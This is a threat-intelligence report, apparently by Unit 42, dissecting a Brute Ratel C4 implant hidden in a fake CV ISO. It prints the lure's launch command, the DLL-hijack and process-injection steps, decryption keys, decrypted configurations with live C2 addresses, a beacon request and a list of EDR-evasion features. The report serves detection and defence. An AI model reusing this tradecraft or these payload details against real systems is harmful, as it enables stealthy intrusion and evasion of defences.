This post is also available in: <u>日本語 (Japanese)</u>

Executive Summary

Unit 42 continuously hunts for new and unique malware samples that match known advanced persistent threat (APT) patterns and tactics. On May 19, one such sample was uploaded to VirusTotal, where it received a benign verdict from all 56 vendors that evaluated it. Beyond the obvious detection concerns, we believe this sample is also significant in terms of its malicious payload, command and control (C2), and packaging.

The sample contained a malicious payload associated with <u>Brute Ratel C4</u> (BRc4), the newest red-teaming and adversarial attack simulation tool to hit the market. While this capability has managed to stay out of the spotlight and remains less commonly known than its <u>Cobalt Strike</u> brethren, it is no less sophisticated. Instead, this tool is uniquely dangerous

in that it was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities. Its effectiveness at doing so can clearly be witnessed by the aforementioned lack of detection across vendors on VirusTotal.

In terms of C2, we found that the sample called home to an Amazon Web Services (AWS) IP address located in the United States over port 443. Further, the X.509 certificate on the listening port was configured to impersonate Microsoft with an organization name of "Microsoft" and organization unit of "Security." Additionally, pivoting on the certificate and other artifacts, we identified a total of 41 malicious IP addresses, nine BRc4 samples, and an additional three organizations across North and South America who have been impacted by this tool so far.

This unique sample was packaged in a manner consistent with known <u>APT29</u> techniques and their recent campaigns, which leveraged well-known cloud storage and online collaboration applications. Specifically, this sample was packaged as a self-contained ISO. Included in the ISO was a Windows shortcut (LNK) file, a malicious payload DLL and a legitimate copy of Microsoft OneDrive Updater. Attempts to execute the benign application from the ISO-mounted folder resulted in the loading of the malicious payload as a dependency through a technique known as DLL search order hijacking. However, while packaging techniques alone are not enough to definitively attribute this sample to APT29, these techniques demonstrate that users of the tool are now applying nation-state tradecraft to deploy BRc4.

Overall, we believe this research is significant in that it identifies not only a new red team capability that is largely undetectable by most cybersecurity vendors, but more importantly, a capability with a growing user base that we assess is now leveraging nation-state deployment techniques. This blog provides an overview of BRc4, a detailed analysis of the malicious sample, a comparison between the packaging of this sample and a recent APT29 sample, and a list of indicators of compromise (IoCs) that can be used to hunt for this activity.

We encourage all security vendors to create protections to detect activity from this tool and all organizations to be on alert for activity from this tool.

Palo Alto Networks customers receive protections from the threats described in this blog through Threat Prevention, Cortex XDR and WildFire malware analysis.

Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the <u>Unit 42 ATOM viewer</u>.

Brute Ratel C4 Overview

Brute Ratel C4 made its initial debut as a penetration testing tool in December 2020. At the time, its development was a part-time effort by a security engineer named Chetan Nayak (aka Paranoid Ninja) living in India. According to his website (<u>Dark Vortex</u>), Nayak amassed several years of experience working in senior red team roles across western cybersecurity vendors. Over the past 2.5 years, Nayak introduced incremental improvements to the pentest tool in terms of features, capabilities, support and training.

In January 2022, Nayak left his day job in order to pursue full-time development and training workshops. That same month, he released Brute Ratel v0.9.0 (<u>Checkmate</u>), which is described as the "biggest release for Brute Ratel till date."

Figure 1. Checkmate release notes.

However, of greater concern, the release description also specifically noted that "this release was built after reverse engineering several top tier EDR and Antivirus DLLs."

Our analysis highlights the ongoing and relevant debate within the cybersecurity industry surrounding the ethics relating to the development and use of penetration testing tools that can be exploited for offensive purposes.

BRc4 currently advertises itself as "A Customized Command and Control Center for Red Team and Adversary Simulation." On May 16, Nayak announced that the tool had gained 480 users across 350 customers.

Extremely happy to announce that Brute Ratel has crossed 350 customers and around 480+ licenses last week. **#BRc4** started off as a fun project 2 years back, before I decided to make it commercial. I had my doubts when I started, since BRc4 was very basic back then and had (1/3)

The latest version, Brute Ratel v1.0 (Sicilian Defense) was released a day later on May 17, and is currently offered for sale at a price of \$2,500 per user and \$2,250 per renewal. With this price point and customer base, BRc4 is positioned to take in more than \$1 million dollars in sales over the next year.

Figure 3. BRc4 licensing and cost. In terms of features, BRc4 advertises the following capabilities:

- SMB and TCP payloads provide functionality to write custom external C2 channels over legitimate websites such as Slack, Discord, Microsoft Teams and more.
- Built-in debugger To detect EDR userland hooks.
- Ability to keep memory artifacts hidden from EDRs and AV.
- Direct Windows SYS calls on the fly.
- Egress over HTTP, HTTPS, DNS Over HTTPS, SMB and TCP.
- LDAP Sentinel provides a rich GUI interface to query various LDAP queries to the domain or a forest.
- Multiple command and control channels multiple pivot options such as SMB, TCP, WMI, WinRM and managing remote services over RPC.
- Take screenshots.
- x64 shellcode loader.
- Reflective and object file loader.
- Decoding KRB5 ticket and converting it to hashcat.
- Patching Event Tracing for Windows (ETW).
- Patching Anti Malware Scan Interface (AMSI).
- Create Windows system services.
- Upload and download files.
- Create files via CreateFileTransacted.
- Port scan.

Figure 4. VirusTotal verdicts for sample as of June 27, 2022. The file in VirusTotal named Roshan CV.iso (SHA256:

1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C) appears to be a curriculum vitae (similar to a resume) of an individual named Roshan. It was uploaded to VirusTotal on May 19, 2022, from Sri Lanka. The ISO file extension refers to an optical disc image file, derived from the International Organization for Standardization's ISO 9960 file system, which is typically used to back up files for CD/DVD. The ISO file is not malicious and requires a user to double-click, which mounts the ISO as a Windows drive. Finally, the archived files of the ISO are displayed to the user. In this case, when the ISO is double-clicked, a user is presented with the following:

	Manage	E:\			_		×
File Home Share	View Drive Tools						~ ?
\leftarrow \rightarrow \checkmark \uparrow 🔜 \diamond This	PC > DVD Drive (E:) 17_0	5_2022	v Ū		ve (E:) 17_05_2022

🔚 Videos							
🥾 Local Disk (C:)							
DVD Drive (E:) 17 🗸	<						>
1 item							

As depicted in Figure 5, the user would see a file named Roshan-Bandara_CV_Dialog, which has a fake icon image of Microsoft Word, purporting to be an individual's CV, and written in Microsoft Word. From the window dialog box it can be ascertained that the ISO was assembled on May 17, 2022, which coincidentally is the same day the new BRc4 was released.

If the user were to double-click on the file, it would then install Brute Ratel C4 on the user's machine.

By default, on Windows operating systems, hidden files are not displayed to the user. In Figure 6, there are four hidden files concealed from view. If the display of hidden files is enabled, the user sees the following:

🖳 🕑 📜 =	Manage E:\		_	o x

Comment:							
Open File Location Change Icon Advanced							

Figure 7. Roshan-Bandara_CV_Dialog properties.

Microsoft shortcut files, those with a .Ink file extension, contain enriched metadata that can be used to provide artifacts about the file. Some key artifacts of this file are:

- Link CLSID: 20D04FE0-3AEA-1069-A2D8-08002B30309D
 - The CLSID used here isn't the normal CLSID for LNK files, as this CLSID is associated with the Control Panel (always Icons view).
- Command line arguments: %windir%/system32/cmd.exe /c start OneDriveUpdater.exe
- Icon location: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

When Roshan-Bandara_CV_Dialog is double-clicked, the following actions occur:

- 1. cmd.exe is launched with the parameters of:
 - 1. /c start OneDriveUpdater.exe. The /c parameter instructs cmd.exe to launch OneDriveUpdater.exe via Windows start command from the current working directory and exit.
- OneDriveUpdater.exe is a digitally signed binary by Microsoft that is used to synchronize data from a local machine to the cloud. It is not malicious and is being abused to load the actor's DLL. Once OneDriveUpdater.exe is executed, the following actions occur:
 - 1. Since Version.dll is a dependency DLL of OneDriveUpdater.exe and exists in the same directory as OneDriveUpdater.exe, it will be loaded.
 - 2. Version.dll has been modified by the actors to load an encrypted payload file, OneDrive.update. The modification decrypts the file and in-memory loads the first stage of shellcode. To maintain code capabilities, the actors use DLL API proxying to forward requests to the legitimate version.dll named vresion.dll. Vresion.dll is a dependency file of the actor's version.dll and will be loaded with the actor's version.dll.
- 3. The in-memory code, that is Brute Ratel C4, executes as a Windows thread in the RuntimeBroker.exe process space and begins to communicate with IP 174.129.157[.]251 on TCP port 443.

Figure 8 below gives an overview of how this process would look.

Figure 8. Execution flow when double-clicking Roshan-Bandara_CV_Dialog

Packaging of Roshan_CV.ISO

The composition of the ISO file, Roshan_CV.ISO, closely resembles that of other nation-state APT tradecraft. The following table shows a side-by-side comparison of Roshan_CV.ISO and that of a previously identified APT29 sample (Decret.ISO).

File Name	Abuse Trusted Applications digitally signed	Hidden Files	Encrypted Payload	File ext	Shortcut (LNK) file dropped as a lure	Fake Icon	Version.dll	
Roshan_C V.iso ✓		\checkmark	\checkmark	ISO	\checkmark	\checkmark	\checkmark	
Decret.iso	\checkmark	\checkmark	×	ISO	\checkmark	\checkmark	\checkmark	
Roshan_CV.ISO SHA-256 1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C Decret.ISO SHA-256 F58AE9193802E9BAF17E6B59E3FDBE3E9319C5D27726D60802E3E82D30D14D46								

Table 1. Package deployment comparison to known APT29 sample.

The following images show how Roshan_CV.ISO and Decret.ISO would look to a user when double-clicked. Figure 9 is a screenshot of the default Windows File Explorer; "show hidden files" is not checked. In both images, the user is presented with a shortcut file (LNK file) that starts the malicious activity when double-clicked.

View Drive Tools			is PC ≯ DVD Drive (E:) Decretul			1

π	OneDriveUpdater.exe	Application	4,103 KB		HPScan.exe	Application	314 KB	
*	Roshan-Bandara_CV_Dialog	Shortcut	4 KB		HPScanApi.dll	Application	1,562 KB	
*	s version.dll	Application extension	254 KB		version.ali	Application	27 ND	
*	vresion.dll	Application extension	31 KB					

Figure 10. Side-by-Side comparison of mounted ISO images. "Show hidden files" is enabled. The flow of execution is the following:

Roshan_CV.ISO→Roshan-Bandar_CV_Dialog.LNK→cmd.exe→OneDriveUpdater.exe→version.dll→OneDrive.Update

 $Decret.ISO \rightarrow Decret.LNK \rightarrow cmd.exe \rightarrow HPScan.exe \rightarrow version.dll \rightarrow HPScanApi.dll \rightarrow HPScanApi.dll$

The delivery of packaged ISO files is typically sent via spear phishing email campaigns or downloaded to the victim by a second-stage downloader.

While we lack insight into how this particular payload was delivered to a target environment, we observed connection attempts to the C2 server originating from three Sri Lankan IP addresses between May 19-20.

Modification of Version.dll

Version.dll is a modified version of a legitimate Microsoft file written in C++. The implanted code is used to load and decrypt an encrypted payload file. The decrypted payload is that of shellcode (x64 assembly) that is further used to execute Brute Ratel C4 on the host.

In order for Version.dll to maintain its code capabilities for OneDriveUpdater.exe, the actors include the legitimate digitally signed Microsoft version.dll and named it vresion.dll. Any time OneDriveUpdater.exe makes a call into the actor's Version.dll, the call is proxied to vresion.dll. Because of this, the actor's version.dll will load vresion.dll as a dependency file.

The implanted code begins when the DLL is loaded via DLL_PROCESS_ATTACH and performs the following at the DLLMain subroutine:

- 1. Enumerate all processes and locate the process ID (PID) for Runtimebroker.exe.
- 2. Read the payload file OneDrive.Update from the current working directory.
- 3. Call the Windows API ntdll ZwOpenProcess using the process ID from step 1. The process is opened with full control access.
- 4. Decrypt the payload file using the XOR encryption algorithm with a 28-byte key of: jikoewarfkmzsdlhfnuiwaejrpaw
- 5. Call the Windows API NtCreateSection, which creates a block of memory that can be shared between processes. This API is used to share memory with Runtimebroker.exe and Version.dll.
- 6. Two calls into the Windows API NtMapViewOfSection. The first call maps the contents of the decrypted payload into the current process memory space, and the second call maps the contents into the Runtimebroker.exe memory space.
- 7. Calls the Windows API NtDelayExecution and sleeps (pauses execution) for ~4.27 seconds.
- 8. Call the Windows API NtCreateThreadEx. This API starts a new thread with the start address of the memory copied to Runtimebroker.exe.
- 9. Calls the Windows API NtDelayExecution and sleeps (pauses execution) for ~4.27 seconds.

10. Finished.

The technique outlined above uses process injection via undocumented Windows NTAPI calls. The decrypted payload is now running within the runtimebroker.exe memory space. The following is a snippet of code from version.dll that starts the execution of the in-memory decrypted payload.

	<pre>func_NtCreateThreadEx p</pre>	<pre>roc near ; CODE XREF: Func_DecryptPayload+3C4^p</pre>

Figure 11. Version.dll calling NtCreateThreadEx.

X64 Shellcode – Decrypted OneDrive.Update

The decrypted payload file is x64 shellcode (assembly instructions) that involves a series of executions to unpack itself. The assembly instructions involve multiple push and mov instructions. The purpose of this is to copy the Brute Ratel C4 code (x64 assembly) onto the stack eight bytes at a time and eventually reassemble it into a memory space for execution – a DLL with a stripped MZ header. Using a series of push and mov instructions evades inmemory scanning as the shellcode is assembled in blocks versus the entire code base being exposed for scanning. The entry point of the decrypted payload is the following:

func_sta	rt	proc	near

var_32558 = dword ptr -32558h var_3251C = dword ptr -3251Ch

62	63										

Figure 12. Version.dll entry point of decrypted payload.

The unpacking involves 25,772 push and 25,769 mov instructions. When finished, the code performs the following.

- 1. Using API hashing (ROR13 rotate right 13) looks up the hash for NtAllocateVirtualMemory. All API calls are made via API hash lookups.
- 2. Resolves the system call index from the System Service Dispatch Table (SSDT) for NtAllocateVirtualMemory. All Windows API functions are made via syscalls, which is a feature of Brute Ratel C4 (<u>Syscall Everything</u>).
- 3. Calls the Windows API NtAllocateVirtualMemory, allocating 0x3000 bytes of memory.
- 4. Makes a second Windows API call into NtAllocateVirtualMemory, which allocates memory for the configuration file used by Brute Ratel C4.
- 5. Copies the shellcode that was pushed onto the stack in the previous steps to the newly allocated memory segment.
- 6. Changes the protection of the newly allocated memory block using Windows API call NtProtectVirtualMemory.
- 7. Calls NtCreateThreadEx with the start address of the newly allocated memory and passes the configuration data as a parameter.
- 8. Finished.

The following is a snippet of the code that calls NtCreateThreadEx and starts the execution of the second-stage shellcode.

Figure 14. BRc4 encrypted configuration.

The data is base64-encoded and RC4-encrypted. The 16-byte RC4 decryption key is: bYXJm/3#M?:XyMBF

The decrypted configuration file is:

```
eyJjb29raWUiOiI=|InO=|0|1|174.129.157.251|443|Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/90.0.4430.93
Safari/537.36|VJM2U57S0U9RA840|2Q73HI7Q0OD5BRN7|/index.html,/adm
in.jsp,/login.jsp,/content.html||
```

Each parameter is delineated with a pipe | character, and one of the values is the IP seen earlier of 174.129.157[.]251 and port of 443.

Target Network Infrastructure

The IP 174.129.157[.]251 is hosted on Amazon AWS, and Palo Alto Networks <u>Cortex</u> <u>Xpanse</u> history shows the IP had TCP port 443 open from April 29, 2022, until May 23, 2022, with a self-signed SSL certificate impersonating Microsoft Security:

- subjectFullName: C=US,ST=California,O=Microsoft,OU=Security,CN=localhost
- Serial Number: 476862511373535319627199034793753459614889484917
- sha256_fingerprint: d597d6572c5616573170275d0b5d5e3ab0c06d4a9104bbdbe952c4bcb52118c9

Once the SSL handshake to IP 174.129.157[.]251 is complete, the following data is sent via HTTP POST to the Brute Ratel C4 listener port.

```
POST /content.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Host: 174.129.157.251
Content-Length: 202
Cache-Control: no-cache

Figure 15. BRc4 HTTP POST.

Identifying OneDrive.Update

To identify the decrypted in-memory payload as being associated with Brute Ratel C4, we conducted hunting based on the unique in-memory assembly instructions, push and mov. These instructions are used to build the second layer of shellcode. Searching across VirusTotal, we found a second sample with the same push and mov instructions:

- File name: badger_x64.exe
- SHA256:

```
3AD53495851BAFC48CAF6D2227A434CA2E0BEF9AB3BD40ABFE4EA8F318D37BBE
```

• File Type: Windows Executable (x64)

Initially, what stood out to us was the filename containing the word "badger." According to the Brute Ratel C4 website, the word "<u>badger</u>" represents payloads used for remote access. When uploaded to VirusTotal, only two out of 66 vendors considered the sample malicious. Currently, 12 vendors identify the sample as malicious with eight classifying this sample as "Brutel," further supporting that our in-memory code is somehow associated with that of Brute Ratel C4.

Side-by-side comparison of the entry point of badger_x64.exe and our decrypted OneDrive.Update sample:

Decrypted O	neDriv	ve.Update	badger_	badger_x64.exe				

Figure 16. Comparison of OneDrive.Update and badger_x64.exe When badger_x64.exe is finished with the push and mov instructions, it makes the same Windows API calls as OneDrive.Update using API hashing, but does not use direct syscall (a user configuration feature of Brute Ratel C4). Example of badger_x64.exe:

41 59	рор	r9
41 59	рор	r9
41 59	рор	r9
41 B8 6B D0 2B CA	mov	r8d, 0CA2BD06Bh ; CreateThread
E8 C0 FE FF FF	call	func_APIHashLookup
48 31 C9	xor	rcx, rcx
BA 00 00 10 00	mov	edx, 100000h
4C 8B 44 24 08	mov	r8, [rsp+2E2E8h+var_2E2E0]
4C 03 44 24 10	add	r8, [rsp+2E2E8h+var_2E2D8]
4C 8B 0C 24	mov	r9, [rsp+2E2E8h+var_2E2E8]
51	push	rcx
FF D7	call	rdi ; CreateThread
50	push	rax
41 B8 AD D9 05 CE	mov	r8d, 0CE05D9ADh ; WaitForSingleObject
E8 96 FE FF FF	call	func_APIHashLookup
59	рор	rcx
48 C7 C2 FF FF FF FF	mov	rdx, 0FFFFFFFFFFFFFFF
FF D7	call	rdi ; WaitForSingleObject
C3	retn	

Figure 17. badger_x64.exe calling shellcode.

Like the OneDrive.Update sample, the parameter passed to the calling thread is the configuration data for Brute Ratel C4. In this sample, the data is not base64-encoded or RC4-encrypted, and is passed in the clear. The following is the configuration used for this sample:

```
0|1|159.65.186.50|443|Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93
Safari/537.36|2K4TBS7L9GK2C205|306TU10E6RDT9SR1|/login,/admin||
```

In this case, the sample is configured to communicate with IP 159.65.186[.]50 on TCP port 443.

Based on the following, we can conclude that OneDrive.Update is indeed associated with Brute Ratel C4.

- The configuration file structure is the same and uses pipes to delineate fields.
- Same Windows calling pattern used to run the second-stage shellcode via NtCreateThreadEx/CreateThread.
- Function instruction match for copying shellcode to memory allocation.

- Both samples of second-stage shellcode have the following strings referencing the word "badger." Note: The OneDrive.Update sample RC4 encrypts these strings.
 - imp_Badger
 - BadgerDispatch
 - BadgerDispatchW
 - BadgerStrlen
 - BadgerWcslen
 - BadgerMemcpy
 - BadgerMemset
 - BadgerStrcmp
 - BadgerWcscmp
 - BadgerAtoi
- The Badger* names match the export names listed on the <u>BRc4 GitHub</u> website.

The file badger_x64.exe is a standalone x64 executable that runs Brute Ratel C4 (badger payload) while the decrypted OneDrive.Update file is the in-memory component of Brute Ratel C4 that is executed using the actor's modified DLL, version.dll.

Badger_x64.exe Employment

After validating that badger_x64.exe and OneDrive.Update were both BRc4 payloads, we set to work analyzing the employment of this second sample.

VirusTotal records revealed that the sample was uploaded by a web user in Ukraine on May 20, 2022. Coincidentally, this happens to be one day after the Roshan_CV.ISO file was uploaded.

As noted above, the sample was configured to call home to 159.65.186[.]50 on port 443. Palo Alto Networks Cortex Xpanse history shows that this port was open from May 21-June 18, 2022, with the same "Microsoft Security" self-signed SSL certificate seen above. Given this timeline, it's worth noting that the sample was actually uploaded to VirusTotal prior to the C2 infrastructure being configured to listen for the callbacks.

Evaluating netflow connections for 159.65.186[.]50 during this time window revealed several connections to ports 22, 443 and 8060 originating from a Ukrainian IP (213.200.56[.]105). We assess this Ukrainian address is likely a residential user IP that was leveraged to administer the C2 infrastructure. A deeper look at connections in and out of 213.200.56[.]105 further revealed several flows over UDP port 33445. This port is commonly used by Tox, a secure peer-to-peer chat and video application that offers end-to-end encryption.

Examining additional connections to port 443 on 159.65.186[.]50, we identified several suspected victims including an Argentinian organization, an IP television provider providing North and South American content, and a major textile manufacturer in Mexico.

Coincidentally, recent attempts to browse the textile manufacturer's website result in a 500 internal server error message.

Given the geographic dispersion of these victims, the upstream connection to a Ukrainian IP and several other factors, we believe it is highly unlikely that BRc4 was deployed in support of legitimate and sanctioned penetration testing activities.

Other Samples and Infrastructure

Over the past year, the fake Microsoft Security X.509 certificate has been linked to 41 IP addresses. These addresses follow a global geographic dispersion and are predominantly owned by large virtual private server (VPS) hosting providers. Expanding our research beyond the two samples discussed above, we have also identified an additional seven samples of BRc4 dating back to February 2021.

Protections and Mitigations

For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:

<u>Threat Prevention</u> provides protection against Brute Ratel C4. The "Brute Ratel C4 Tool Command and Control Traffic Detections" signature is threat ID 86647.

Cortex XDR detects and protects endpoints from the Brute Ratel C4 tool.

<u>WildFire</u> cloud-based threat analysis service accurately identifies Brute Ratel C4 samples as malware.

Conclusion

The emergence of a new penetration testing and adversary emulation capability is significant. Yet more alarming is the effectiveness of BRc4 at defeating modern defensive EDR and AV detection capabilities.

Over the past 2.5 years this tool has evolved from a part-time hobby to a full-time development project with a growing customer base. As this customer base has expanded into the hundreds, the tool has gained increased attention across the cybersecurity domain from both legitimate penetration testers as well as malicious cyber actors.

The analysis of the two samples described in this blog, as well as the advanced tradecraft used to package these payloads, make it clear that malicious cyber actors have begun to adopt this capability. We believe it is imperative that all security vendors create protections to detect BRc4 and that all organizations take proactive measures to defend against this tool.

Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the <u>Cyber Threat Alliance</u>.

Note that the Microsoft name and logo shown are an attempt to impersonate a legitimate organization and do not represent an actual affiliation with Microsoft. This impersonation does not imply a vulnerability in Microsoft's products or services.
